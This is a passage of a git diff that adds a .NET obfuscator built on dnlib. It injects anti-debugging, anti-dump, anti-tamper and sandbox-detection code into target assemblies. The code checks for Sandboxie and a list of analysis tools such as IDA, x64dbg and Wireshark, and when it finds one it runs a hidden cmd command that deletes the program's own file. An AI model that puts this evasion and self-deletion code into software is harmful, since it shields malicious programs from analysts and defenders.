initial commit

.vs/Server/v17/ResourceExplorer/settings.json

@@ -0,0 +1,16 @@
+{
+  "ShowEmptyProjects": false,
+  "SelectedGroups": [],
+  "ExpandedProjects": [],
+  "EnableSpellChecker": true,
+  "ColumnOrder": [
+    "name",
+    "type",
+    "neutral-value",
+    "neutral-comment"
+  ],
+  "VisibleColumnKeys": [
+    "name",
+    "neutral-value"
+  ]
+}

Obfuscator.Helper/InjectHelper.cs

@@ -0,0 +1,260 @@
+using System.Collections.Generic;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Helper;
+
+public static class InjectHelper
+{
+	private class InjectContext : ImportMapper
+	{
+		public readonly Dictionary<IDnlibDef, IDnlibDef> Mep = new Dictionary<IDnlibDef, IDnlibDef>();
+
+		public readonly ModuleDef TargetModule;
+
+		public Importer Importer { get; }
+
+		public InjectContext(ModuleDef target)
+		{
+			TargetModule = target;
+			Importer = new Importer(target, ImporterOptions.TryToUseTypeDefs, default(GenericParamContext), this);
+		}
+
+		public override ITypeDefOrRef Map(ITypeDefOrRef typeDefOrRef)
+		{
+			if (!(typeDefOrRef is TypeDef key) || !Mep.ContainsKey(key))
+			{
+				return null;
+			}
+			return (TypeDef)Mep[key];
+		}
+
+		public override IMethod Map(MethodDef methodDef)
+		{
+			if (!Mep.ContainsKey(methodDef))
+			{
+				return null;
+			}
+			return (MethodDef)Mep[methodDef];
+		}
+
+		public override IField Map(FieldDef fieldDef)
+		{
+			if (!Mep.ContainsKey(fieldDef))
+			{
+				return null;
+			}
+			return (FieldDef)Mep[fieldDef];
+		}
+	}
+
+	private static TypeDefUser Clone(TypeDef origin)
+	{
+		TypeDefUser typeDefUser = new TypeDefUser(origin.Namespace, origin.Name)
+		{
+			Attributes = origin.Attributes
+		};
+		if (origin.ClassLayout != null)
+		{
+			typeDefUser.ClassLayout = new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize);
+		}
+		foreach (GenericParam genericParameter in origin.GenericParameters)
+		{
+			typeDefUser.GenericParameters.Add(new GenericParamUser(genericParameter.Number, genericParameter.Flags, "-"));
+		}
+		return typeDefUser;
+	}
+
+	private static MethodDefUser Clone(MethodDef origin)
+	{
+		MethodDefUser methodDefUser = new MethodDefUser(origin.Name, null, origin.ImplAttributes, origin.Attributes);
+		foreach (GenericParam genericParameter in origin.GenericParameters)
+		{
+			methodDefUser.GenericParameters.Add(new GenericParamUser(genericParameter.Number, genericParameter.Flags, "-"));
+		}
+		return methodDefUser;
+	}
+
+	private static FieldDefUser Clone(FieldDef origin)
+	{
+		return new FieldDefUser(origin.Name, null, origin.Attributes);
+	}
+
+	private static TypeDef PopulateContext(TypeDef typeDef, InjectContext ctx)
+	{
+		TypeDef typeDef2;
+		if (!ctx.Mep.TryGetValue(typeDef, out var value))
+		{
+			typeDef2 = Clone(typeDef);
+			ctx.Mep[typeDef] = typeDef2;
+		}
+		else
+		{
+			typeDef2 = (TypeDef)value;
+		}
+		foreach (TypeDef nestedType in typeDef.NestedTypes)
+		{
+			typeDef2.NestedTypes.Add(PopulateContext(nestedType, ctx));
+		}
+		foreach (MethodDef method in typeDef.Methods)
+		{
+			IList<MethodDef> methods = typeDef2.Methods;
+			IDnlibDef dnlibDef2 = (ctx.Mep[method] = Clone(method));
+			methods.Add((MethodDef)dnlibDef2);
+		}
+		foreach (FieldDef field in typeDef.Fields)
+		{
+			IList<FieldDef> fields = typeDef2.Fields;
+			IDnlibDef dnlibDef2 = (ctx.Mep[field] = Clone(field));
+			fields.Add((FieldDef)dnlibDef2);
+		}
+		return typeDef2;
+	}
+
+	private static void CopyTypeDef(TypeDef typeDef, InjectContext ctx)
+	{
+		TypeDef typeDef2 = (TypeDef)ctx.Mep[typeDef];
+		typeDef2.BaseType = ctx.Importer.Import(typeDef.BaseType);
+		foreach (InterfaceImpl @interface in typeDef.Interfaces)
+		{
+			typeDef2.Interfaces.Add(new InterfaceImplUser(ctx.Importer.Import(@interface.Interface)));
+		}
+	}
+
+	private static void CopyMethodDef(MethodDef methodDef, InjectContext ctx)
+	{
+		MethodDef methodDef2 = (MethodDef)ctx.Mep[methodDef];
+		methodDef2.Signature = ctx.Importer.Import(methodDef.Signature);
+		methodDef2.Parameters.UpdateParameterTypes();
+		if (methodDef.ImplMap != null)
+		{
+			methodDef2.ImplMap = new ImplMapUser(new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes);
+		}
+		foreach (CustomAttribute customAttribute in methodDef.CustomAttributes)
+		{
+			methodDef2.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType)ctx.Importer.Import(customAttribute.Constructor)));
+		}
+		if (!methodDef.HasBody)
+		{
+			return;
+		}
+		methodDef2.Body = new CilBody(methodDef.Body.InitLocals, new List<Instruction>(), new List<ExceptionHandler>(), new List<Local>())
+		{
+			MaxStack = methodDef.Body.MaxStack
+		};
+		Dictionary<object, object> bodyMap = new Dictionary<object, object>();
+		foreach (Local variable in methodDef.Body.Variables)
+		{
+			Local local = new Local(ctx.Importer.Import(variable.Type));
+			methodDef2.Body.Variables.Add(local);
+			local.Name = variable.Name;
+			local.Attributes = variable.Attributes;
+			bodyMap[variable] = local;
+		}
+		foreach (Instruction instruction2 in methodDef.Body.Instructions)
+		{
+			Instruction instruction = new Instruction(instruction2.OpCode, instruction2.Operand)
+			{
+				SequencePoint = instruction2.SequencePoint
+			};
+			object operand = instruction.Operand;
+			if (!(operand is IType type))
+			{
+				if (!(operand is IMethod method))
+				{
+					if (operand is IField field)
+					{
+						instruction.Operand = ctx.Importer.Import(field);
+					}
+				}
+				else
+				{
+					instruction.Operand = ctx.Importer.Import(method);
+				}
+			}
+			else
+			{
+				instruction.Operand = ctx.Importer.Import(type);
+			}
+			methodDef2.Body.Instructions.Add(instruction);
+			bodyMap[instruction2] = instruction;
+		}
+		foreach (Instruction instruction3 in methodDef2.Body.Instructions)
+		{
+			if (instruction3.Operand != null && bodyMap.ContainsKey(instruction3.Operand))
+			{
+				instruction3.Operand = bodyMap[instruction3.Operand];
+			}
+			else if (instruction3.Operand is Instruction[] source)
+			{
+				instruction3.Operand = source.Select((Instruction target) => (Instruction)bodyMap[target]).ToArray();
+			}
+		}
+		foreach (ExceptionHandler exceptionHandler in methodDef.Body.ExceptionHandlers)
+		{
+			methodDef2.Body.ExceptionHandlers.Add(new ExceptionHandler(exceptionHandler.HandlerType)
+			{
+				CatchType = ((exceptionHandler.CatchType == null) ? null : ctx.Importer.Import(exceptionHandler.CatchType)),
+				TryStart = (Instruction)bodyMap[exceptionHandler.TryStart],
+				TryEnd = (Instruction)bodyMap[exceptionHandler.TryEnd],
+				HandlerStart = (Instruction)bodyMap[exceptionHandler.HandlerStart],
+				HandlerEnd = (Instruction)bodyMap[exceptionHandler.HandlerEnd],
+				FilterStart = ((exceptionHandler.FilterStart == null) ? null : ((Instruction)bodyMap[exceptionHandler.FilterStart]))
+			});
+		}
+		methodDef2.Body.SimplifyMacros(methodDef2.Parameters);
+	}
+
+	private static void CopyFieldDef(FieldDef fieldDef, InjectContext ctx)
+	{
+		((FieldDef)ctx.Mep[fieldDef]).Signature = ctx.Importer.Import(fieldDef.Signature);
+	}
+
+	private static void Copy(TypeDef typeDef, InjectContext ctx, bool copySelf)
+	{
+		if (copySelf)
+		{
+			CopyTypeDef(typeDef, ctx);
+		}
+		foreach (TypeDef nestedType in typeDef.NestedTypes)
+		{
+			Copy(nestedType, ctx, copySelf: true);
+		}
+		foreach (MethodDef method in typeDef.Methods)
+		{
+			CopyMethodDef(method, ctx);
+		}
+		foreach (FieldDef field in typeDef.Fields)
+		{
+			CopyFieldDef(field, ctx);
+		}
+	}
+
+	public static TypeDef Inject(TypeDef typeDef, ModuleDef target)
+	{
+		InjectContext injectContext = new InjectContext(target);
+		PopulateContext(typeDef, injectContext);
+		Copy(typeDef, injectContext, copySelf: true);
+		return (TypeDef)injectContext.Mep[typeDef];
+	}
+
+	public static MethodDef Inject(MethodDef methodDef, ModuleDef target)
+	{
+		InjectContext injectContext = new InjectContext(target);
+		injectContext.Mep[methodDef] = Clone(methodDef);
+		InjectContext injectContext2 = injectContext;
+		CopyMethodDef(methodDef, injectContext2);
+		return (MethodDef)injectContext2.Mep[methodDef];
+	}
+
+	public static IEnumerable<IDnlibDef> Inject(TypeDef typeDef, TypeDef newType, ModuleDef target)
+	{
+		InjectContext injectContext = new InjectContext(target);
+		injectContext.Mep[typeDef] = newType;
+		InjectContext injectContext2 = injectContext;
+		PopulateContext(typeDef, injectContext2);
+		Copy(typeDef, injectContext2, copySelf: false);
+		return injectContext2.Mep.Values.Except(new TypeDef[1] { newType });
+	}
+}

Obfuscator.Helper/Methods.cs

@@ -0,0 +1,36 @@
+using System;
+using System.Linq;
+
+namespace Obfuscator.Helper;
+
+internal class Methods
+{
+	private const string Ascii = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
+
+	private const string number = "1234567890";
+
+	public static readonly Random Random = new Random();
+
+	public static string GenerateString()
+	{
+		return GenerateString((byte)Random.Next(10, 26));
+	}
+
+	public static string GenerateString(byte length)
+	{
+		char c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length)];
+		char[] value = (from s in Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", length - 1)
+			select s[Random.Next(s.Length)]).ToArray();
+		return c + new string(value);
+	}
+
+	public static bool GenerateBool()
+	{
+		return GenerateBool(2);
+	}
+
+	public static bool GenerateBool(byte probability)
+	{
+		return Random.Next(probability) == 1;
+	}
+}

Obfuscator.Obfuscator.Anti.Runtime/AntiDebugSafe.cs

@@ -0,0 +1,66 @@
+using System;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+
+namespace Obfuscator.Obfuscator.Anti.Runtime;
+
+internal static class AntiDebugSafe
+{
+	[DllImport("ntdll.dll", CharSet = CharSet.Auto)]
+	private static extern int NtQueryInformationProcess(IntPtr test, int test2, int[] test3, int test4, ref int test5);
+
+	private static void Initialize()
+	{
+		if (Debugger.IsLogging())
+		{
+			Environment.Exit(0);
+		}
+		if (Debugger.IsAttached)
+		{
+			Environment.Exit(0);
+		}
+		if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null)
+		{
+			Environment.Exit(0);
+		}
+		if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0)
+		{
+			Environment.Exit(0);
+		}
+		if (Environment.OSVersion.Platform != PlatformID.Win32NT)
+		{
+			return;
+		}
+		int[] array = new int[6];
+		int test = 0;
+		IntPtr handle = Process.GetCurrentProcess().Handle;
+		if (NtQueryInformationProcess(handle, 31, array, 4, ref test) == 0 && array[0] != 1)
+		{
+			Environment.Exit(0);
+		}
+		if (NtQueryInformationProcess(handle, 30, array, 4, ref test) == 0 && array[0] != 0)
+		{
+			Environment.Exit(0);
+		}
+		if (NtQueryInformationProcess(handle, 0, array, 24, ref test) != 0)
+		{
+			return;
+		}
+		IntPtr ptr = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr)array[1], 12), 12);
+		Marshal.WriteInt32(ptr, 32, 0);
+		IntPtr intPtr = Marshal.ReadIntPtr(ptr, 0);
+		IntPtr ptr2 = intPtr;
+		do
+		{
+			ptr2 = Marshal.ReadIntPtr(ptr2, 0);
+			if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48), 0) == 7536749)
+			{
+				IntPtr intPtr2 = Marshal.ReadIntPtr(ptr2, 8);
+				IntPtr intPtr3 = Marshal.ReadIntPtr(ptr2, 12);
+				Marshal.WriteInt32(intPtr3, 0, (int)intPtr2);
+				Marshal.WriteInt32(intPtr2, 4, (int)intPtr3);
+			}
+		}
+		while (!ptr2.Equals(intPtr));
+	}
+}

Obfuscator.Obfuscator.Anti.Runtime/AntiDumpRun.cs

@@ -0,0 +1,242 @@
+using System;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+namespace Obfuscator.Obfuscator.Anti.Runtime;
+
+internal class AntiDumpRun
+{
+	internal enum MemoryProtection
+	{
+		ExecuteReadWrite = 0x40
+	}
+
+	private unsafe static void CopyBlock(void* destination, void* source, uint byteCount)
+	{
+	}
+
+	private unsafe static void InitBlock(void* startAddress, byte value, uint byteCount)
+	{
+	}
+
+	[DllImport("kernel32.dll")]
+	[return: MarshalAs(UnmanagedType.Bool)]
+	private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, [MarshalAs(UnmanagedType.U4)] MemoryProtection flNewProtect, [MarshalAs(UnmanagedType.U4)] out MemoryProtection lpflOldProtect);
+
+	private unsafe static void Initialize()
+	{
+		Module module = typeof(AntiDumpRun).Module;
+		byte* ptr = (byte*)(void*)Marshal.GetHINSTANCE(module);
+		byte* ptr2 = ptr + 60;
+		ptr2 = ptr + (uint)(*(int*)ptr2);
+		ptr2 += 6;
+		ushort num = *(ushort*)ptr2;
+		ptr2 += 14;
+		ushort num2 = *(ushort*)ptr2;
+		ptr2 = ptr2 + 4 + (int)num2;
+		byte* ptr3 = stackalloc byte[11];
+		MemoryProtection lpflOldProtect;
+		if (module.FullyQualifiedName[0] != '<')
+		{
+			byte* ptr4 = ptr + (uint)(*(int*)(ptr2 - 16));
+			if (*(uint*)(ptr2 - 120) != 0)
+			{
+				byte* ptr5 = ptr + (uint)(*(int*)(ptr2 - 120));
+				byte* ptr6 = ptr + (uint)(*(int*)ptr5);
+				byte* num3 = ptr + (uint)(*(int*)(ptr5 + 12));
+				byte* ptr7 = ptr + (uint)(*(int*)ptr6) + 2;
+				VirtualProtect(new IntPtr(num3), 11u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+				*(int*)ptr3 = 1818522734;
+				*(int*)(ptr3 + 4) = 1818504812;
+				*(short*)(ptr3 + (nint)4 * (nint)2) = 108;
+				ptr3[10] = 0;
+				CopyBlock(num3, ptr3, 11u);
+				VirtualProtect(new IntPtr(ptr7), 11u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+				*(int*)ptr3 = 1866691662;
+				*(int*)(ptr3 + 4) = 1852404846;
+				*(short*)(ptr3 + (nint)4 * (nint)2) = 25973;
+				ptr3[10] = 0;
+				CopyBlock(ptr7, ptr3, 11u);
+			}
+			for (int i = 0; i < num; i++)
+			{
+				VirtualProtect(new IntPtr(ptr2), 8u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+				InitBlock(ptr2, 0, 8u);
+				ptr2 += 40;
+			}
+			VirtualProtect(new IntPtr(ptr4), 72u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+			byte* ptr8 = ptr + (uint)(*(int*)(ptr4 + 8));
+			InitBlock(ptr4, 0, 16u);
+			VirtualProtect(new IntPtr(ptr8), 4u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+			*(int*)ptr8 = 0;
+			ptr8 += 12;
+			ptr8 += (uint)(*(int*)ptr8);
+			ptr8 = (byte*)(((long)ptr8 + 7L) & -4);
+			ptr8 += 2;
+			ushort num4 = *ptr8;
+			ptr8 += 2;
+			for (int j = 0; j < num4; j++)
+			{
+				VirtualProtect(new IntPtr(ptr8), 8u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+				ptr8 += 4;
+				ptr8 += 4;
+				for (int k = 0; k < 8; k++)
+				{
+					VirtualProtect(new IntPtr(ptr8), 4u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+					*ptr8 = 0;
+					ptr8++;
+					if (*ptr8 == 0)
+					{
+						ptr8 += 3;
+						break;
+					}
+					*ptr8 = 0;
+					ptr8++;
+					if (*ptr8 == 0)
+					{
+						ptr8 += 2;
+						break;
+					}
+					*ptr8 = 0;
+					ptr8++;
+					if (*ptr8 == 0)
+					{
+						ptr8++;
+						break;
+					}
+					*ptr8 = 0;
+					ptr8++;
+				}
+			}
+			return;
+		}
+		uint num5 = *(uint*)(ptr2 - 16);
+		uint num6 = *(uint*)(ptr2 - 120);
+		uint[] array = new uint[num];
+		uint[] array2 = new uint[num];
+		uint[] array3 = new uint[num];
+		for (int l = 0; l < num; l++)
+		{
+			VirtualProtect(new IntPtr(ptr2), 8u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+			Marshal.Copy(new byte[8], 0, (IntPtr)ptr2, 8);
+			array[l] = *(uint*)(ptr2 + 12);
+			array2[l] = *(uint*)(ptr2 + 8);
+			array3[l] = *(uint*)(ptr2 + 20);
+			ptr2 += 40;
+		}
+		if (num6 != 0)
+		{
+			for (int m = 0; m < num; m++)
+			{
+				if (array[m] <= num6 && num6 < array[m] + array2[m])
+				{
+					num6 = num6 - array[m] + array3[m];
+					break;
+				}
+			}
+			byte* ptr9 = ptr + num6;
+			uint num7 = *(uint*)ptr9;
+			for (int n = 0; n < num; n++)
+			{
+				if (array[n] <= num7 && num7 < array[n] + array2[n])
+				{
+					num7 = num7 - array[n] + array3[n];
+					break;
+				}
+			}
+			byte* ptr10 = ptr + num7;
+			uint num8 = *(uint*)(ptr9 + 12);
+			for (int num9 = 0; num9 < num; num9++)
+			{
+				if (array[num9] <= num8 && num8 < array[num9] + array2[num9])
+				{
+					num8 = num8 - array[num9] + array3[num9];
+					break;
+				}
+			}
+			uint num10 = *(uint*)ptr10 + 2;
+			for (int num11 = 0; num11 < num; num11++)
+			{
+				if (array[num11] <= num10 && num10 < array[num11] + array2[num11])
+				{
+					num10 = num10 - array[num11] + array3[num11];
+					break;
+				}
+			}
+			VirtualProtect(new IntPtr(ptr + num8), 11u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+			*(int*)ptr3 = 1818522734;
+			*(int*)(ptr3 + 4) = 1818504812;
+			*(short*)(ptr3 + (nint)4 * (nint)2) = 108;
+			ptr3[10] = 0;
+			CopyBlock(ptr + num8, ptr3, 11u);
+			VirtualProtect(new IntPtr(ptr + num10), 11u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+			*(int*)ptr3 = 1866691662;
+			*(int*)(ptr3 + 4) = 1852404846;
+			*(short*)(ptr3 + (nint)4 * (nint)2) = 25973;
+			ptr3[10] = 0;
+			CopyBlock(ptr + num10, ptr3, 11u);
+		}
+		for (int num12 = 0; num12 < num; num12++)
+		{
+			if (array[num12] <= num5 && num5 < array[num12] + array2[num12])
+			{
+				num5 = num5 - array[num12] + array3[num12];
+				break;
+			}
+		}
+		byte* ptr11 = ptr + num5;
+		VirtualProtect(new IntPtr(ptr11), 72u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+		uint num13 = *(uint*)(ptr11 + 8);
+		for (int num14 = 0; num14 < num; num14++)
+		{
+			if (array[num14] <= num13 && num13 < array[num14] + array2[num14])
+			{
+				num13 = num13 - array[num14] + array3[num14];
+				break;
+			}
+		}
+		InitBlock(ptr11, 0, 16u);
+		byte* ptr12 = ptr + num13;
+		VirtualProtect(new IntPtr(ptr12), 4u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+		*(int*)ptr12 = 0;
+		ptr12 += 12;
+		ptr12 += (uint)(*(int*)ptr12);
+		ptr12 = (byte*)(((long)ptr12 + 7L) & -4);
+		ptr12 += 2;
+		ushort num15 = *ptr12;
+		ptr12 += 2;
+		for (int num16 = 0; num16 < num15; num16++)
+		{
+			VirtualProtect(new IntPtr(ptr12), 8u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+			ptr12 += 4;
+			ptr12 += 4;
+			for (int num17 = 0; num17 < 8; num17++)
+			{
+				VirtualProtect(new IntPtr(ptr12), 4u, MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
+				*ptr12 = 0;
+				ptr12++;
+				if (*ptr12 == 0)
+				{
+					ptr12 += 3;
+					break;
+				}
+				*ptr12 = 0;
+				ptr12++;
+				if (*ptr12 == 0)
+				{
+					ptr12 += 2;
+					break;
+				}
+				*ptr12 = 0;
+				ptr12++;
+				if (*ptr12 == 0)
+				{
+					ptr12++;
+					break;
+				}
+				*ptr12 = 0;
+				ptr12++;
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Anti.Runtime/EofAntiTamper.cs

@@ -0,0 +1,28 @@
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Security.Cryptography;
+
+namespace Obfuscator.Obfuscator.Anti.Runtime;
+
+internal class EofAntiTamper
+{
+	private static void Initializer()
+	{
+		string location = Assembly.GetExecutingAssembly().Location;
+		Stream baseStream = new StreamReader(location).BaseStream;
+		BinaryReader binaryReader = new BinaryReader(baseStream);
+		string text = BitConverter.ToString(SHA256.Create().ComputeHash(binaryReader.ReadBytes(File.ReadAllBytes(location).Length - 32)));
+		baseStream.Seek(-32L, SeekOrigin.End);
+		string text2 = BitConverter.ToString(binaryReader.ReadBytes(32));
+		if (text != text2)
+		{
+			Process.Start(new ProcessStartInfo("cmd.exe", "/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"" + Assembly.GetExecutingAssembly().Location + "\"")
+			{
+				WindowStyle = ProcessWindowStyle.Hidden
+			})?.Dispose();
+			Process.GetCurrentProcess().Kill();
+		}
+	}
+}

Obfuscator.Obfuscator.Anti.Runtime/SelfDeleteClass.cs

@@ -0,0 +1,112 @@
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Text;
+
+namespace Obfuscator.Obfuscator.Anti.Runtime;
+
+internal class SelfDeleteClass
+{
+	public static void Init()
+	{
+		if (IsSandboxie())
+		{
+			SelfDelete();
+		}
+		if (IsDebugger())
+		{
+			SelfDelete();
+		}
+		if (IsdnSpyRun())
+		{
+			SelfDelete();
+		}
+	}
+
+	private static bool IsSandboxie()
+	{
+		return IsDetected();
+	}
+
+	private static bool IsDebugger()
+	{
+		return Run();
+	}
+
+	private static bool IsdnSpyRun()
+	{
+		return ValueType();
+	}
+
+	private static void SelfDelete()
+	{
+		Process.Start(new ProcessStartInfo("cmd.exe", "/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"" + Assembly.GetExecutingAssembly().Location + "\"")
+		{
+			WindowStyle = ProcessWindowStyle.Hidden
+		})?.Dispose();
+		Process.GetCurrentProcess().Kill();
+	}
+
+	private static bool ValueType()
+	{
+		return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml");
+	}
+
+	private static IntPtr GetModuleHandle(string libName)
+	{
+		foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
+		{
+			if (module.ModuleName.ToLower().Contains(libName.ToLower()))
+			{
+				return module.BaseAddress;
+			}
+		}
+		return IntPtr.Zero;
+	}
+
+	private static bool IsDetected()
+	{
+		return GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero;
+	}
+
+	private static bool Run()
+	{
+		bool result = false;
+		if (Debugger.IsAttached || Debugger.IsLogging())
+		{
+			result = true;
+		}
+		else
+		{
+			string[] array = new string[41]
+			{
+				"codecracker", "x32dbg", "x64dbg", "ollydbg", "ida", "charles", "dnspy", "simpleassembly", "peek", "httpanalyzer",
+				"httpdebug", "fiddler", "wireshark", "dbx", "mdbg", "gdb", "windbg", "dbgclr", "kdb", "kgdb",
+				"mdb", "processhacker", "scylla_x86", "scylla_x64", "scylla", "idau64", "idau", "idaq", "idaq64", "idaw",
+				"idaw64", "idag", "idag64", "ida64", "ida", "ImportREC", "IMMUNITYDEBUGGER", "MegaDumper", "CodeBrowser", "reshacker",
+				"cheat engine"
+			};
+			Process[] processes = Process.GetProcesses();
+			foreach (Process process in processes)
+			{
+				if (process == Process.GetCurrentProcess())
+				{
+					continue;
+				}
+				for (int j = 0; j < array.Length; j++)
+				{
+					if (process.ProcessName.ToLower().Contains(array[j]))
+					{
+						result = true;
+					}
+					if (process.MainWindowTitle.ToLower().Contains(array[j]))
+					{
+						result = true;
+					}
+				}
+			}
+		}
+		return result;
+	}
+}

Obfuscator.Obfuscator.Anti/AntiDe4dot.cs

@@ -0,0 +1,22 @@
+using dnlib.DotNet;
+
+namespace Obfuscator.Obfuscator.Anti;
+
+internal class AntiDe4dot
+{
+	public static void Execute(AssemblyDef mod)
+	{
+		foreach (ModuleDef module in mod.Modules)
+		{
+			InterfaceImplUser item = new InterfaceImplUser(module.GlobalType);
+			for (int i = 0; i < 1; i++)
+			{
+				TypeDefUser typeDefUser = new TypeDefUser(string.Empty, $"Form{i}", module.CorLibTypes.GetTypeRef("System", "Attribute"));
+				InterfaceImplUser item2 = new InterfaceImplUser(typeDefUser);
+				module.Types.Add(typeDefUser);
+				typeDefUser.Interfaces.Add(item2);
+				typeDefUser.Interfaces.Add(item);
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Anti/AntiDebug.cs

@@ -0,0 +1,26 @@
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+using Obfuscator.Obfuscator.Anti.Runtime;
+
+namespace Obfuscator.Obfuscator.Anti;
+
+public static class AntiDebug
+{
+	public static void Execute(ModuleDef module)
+	{
+		ModuleDefMD moduleDefMD = ModuleDefMD.Load(typeof(AntiDebugSafe).Module);
+		MethodDef methodDef = module.GlobalType.FindOrCreateStaticConstructor();
+		MethodDef method2 = (MethodDef)InjectHelper.Inject(moduleDefMD.ResolveTypeDef(MDToken.ToRID(typeof(AntiDebugSafe).MetadataToken)), module.GlobalType, module).Single((IDnlibDef method) => method.Name == "Initialize");
+		methodDef.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, method2));
+		foreach (MethodDef method3 in module.GlobalType.Methods)
+		{
+			if (!(method3.Name != ".ctor"))
+			{
+				module.GlobalType.Remove(method3);
+				break;
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Anti/AntiDump.cs

@@ -0,0 +1,26 @@
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+using Obfuscator.Obfuscator.Anti.Runtime;
+
+namespace Obfuscator.Obfuscator.Anti;
+
+internal class AntiDump
+{
+	public static void Execute(ModuleDef mod)
+	{
+		ModuleDefMD moduleDefMD = ModuleDefMD.Load(typeof(AntiDumpRun).Module);
+		MethodDef methodDef = mod.GlobalType.FindOrCreateStaticConstructor();
+		MethodDef method2 = (MethodDef)InjectHelper.Inject(moduleDefMD.ResolveTypeDef(MDToken.ToRID(typeof(AntiDumpRun).MetadataToken)), mod.GlobalType, mod).Single((IDnlibDef method) => method.Name == "Initialize");
+		methodDef.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, method2));
+		foreach (MethodDef method3 in mod.GlobalType.Methods)
+		{
+			if (!(method3.Name != ".ctor"))
+			{
+				mod.GlobalType.Remove(method3);
+				break;
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Anti/AntiTamper.cs

@@ -0,0 +1,35 @@
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+using Obfuscator.Obfuscator.Anti.Runtime;
+
+namespace Obfuscator.Obfuscator.Anti;
+
+public static class AntiTamper
+{
+	public static void Sha256(string filePath)
+	{
+		byte[] array = SHA256.Create().ComputeHash(File.ReadAllBytes(filePath));
+		using FileStream fileStream = new FileStream(filePath, FileMode.Append);
+		fileStream.Write(array, 0, array.Length);
+	}
+
+	public static void Execute(ModuleDef module)
+	{
+		ModuleDefMD moduleDefMD = ModuleDefMD.Load(typeof(EofAntiTamper).Module);
+		MethodDef methodDef = module.GlobalType.FindOrCreateStaticConstructor();
+		MethodDef method2 = (MethodDef)InjectHelper.Inject(moduleDefMD.ResolveTypeDef(MDToken.ToRID(typeof(EofAntiTamper).MetadataToken)), module.GlobalType, module).Single((IDnlibDef method) => method.Name == "Initializer");
+		methodDef.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, method2));
+		foreach (MethodDef method3 in module.GlobalType.Methods)
+		{
+			if (!(method3.Name != ".ctor"))
+			{
+				module.GlobalType.Remove(method3);
+				break;
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Anti/Antimanything.cs

@@ -0,0 +1,26 @@
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+using Obfuscator.Obfuscator.Anti.Runtime;
+
+namespace Obfuscator.Obfuscator.Anti;
+
+internal class Antimanything
+{
+	public static void Execute(ModuleDef module)
+	{
+		ModuleDefMD moduleDefMD = ModuleDefMD.Load(typeof(SelfDeleteClass).Module);
+		MethodDef methodDef = module.GlobalType.FindOrCreateStaticConstructor();
+		MethodDef method2 = (MethodDef)InjectHelper.Inject(moduleDefMD.ResolveTypeDef(MDToken.ToRID(typeof(SelfDeleteClass).MetadataToken)), module.GlobalType, module).Single((IDnlibDef method) => method.Name == "Init");
+		methodDef.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, method2));
+		foreach (MethodDef method3 in module.GlobalType.Methods)
+		{
+			if (!(method3.Name != ".ctor"))
+			{
+				module.GlobalType.Remove(method3);
+				break;
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Calli/Calli.cs

@@ -0,0 +1,55 @@
+using System;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Calli;
+
+internal class Calli
+{
+	public static void Execute(ModuleDef module)
+	{
+		TypeDef[] array = module.Types.ToArray();
+		for (int i = 0; i < array.Length; i++)
+		{
